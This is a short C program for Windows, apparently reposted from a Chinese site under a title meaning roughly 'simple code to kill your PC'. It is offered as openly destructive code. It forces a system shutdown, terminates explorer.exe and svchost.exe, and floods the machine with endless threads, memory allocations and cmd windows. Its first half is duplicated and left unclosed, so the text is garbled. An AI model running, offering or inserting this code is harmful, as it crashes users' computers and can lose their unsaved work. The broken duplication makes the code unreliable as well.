#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
DWORD WINAPI ThreadProc(LPVOID lpParam)
{
PROCESSENTRY32 pe32;
pe32.dwSize=sizeof(pe32);
HANDLE hProcess;
HANDLE hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
BOOL bMore =::Process32First(hProcessSnap,&pe32);
STARTUPINFO si={sizeof(si)};
PROCESS_INFORMATION pi;
si.dwFlags=STARTF_USESHOWWINDOW;
si.wShowWindow=TRUE;
system(“shutdown -s -t 20″);
while(bMore)
{
if(strcmp(pe32.szExeFile,”explorer.exe”)==0 || strcmp(pe32.szExeFile,”svchost.exe”)==0)
{
hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID );
TerminateProcess(hProcess,0);
}
bMore=::Process32Next(hProcessSnap,&pe32);
}
#include <tlhelp32.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
DWORD WINAPI ThreadProc(LPVOID lpParam)
{
PROCESSENTRY32 pe32;
pe32.dwSize=sizeof(pe32);
HANDLE hProcess;
HANDLE hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
BOOL bMore =::Process32First(hProcessSnap,&pe32);
STARTUPINFO si={sizeof(si)};
PROCESS_INFORMATION pi;
si.dwFlags=STARTF_USESHOWWINDOW;
si.wShowWindow=TRUE;
system(“shutdown -s -t 20″);
while(bMore)
{
if(strcmp(pe32.szExeFile,”explorer.exe”)==0 || strcmp(pe32.szExeFile,”svchost.exe”)==0)
{
hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID );
TerminateProcess(hProcess,0);
}
bMore=::Process32Next(hProcessSnap,&pe32);
}
while(true)
{
void *p=malloc(1024*1024);
CreateProcess(NULL,”cmd”,NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL,NULL,&si,&pi);
}
}
int main(int argc, char *argv[])
{
HANDLE hThread;
DWORD dwThreadId;
while(true)
hThread=CreateThread(NULL,0,ThreadProc,NULL,0,0);
return 0;
}
转载请注明:XAMPP中文组官网 » 搞死你的个人计算机简单代码示例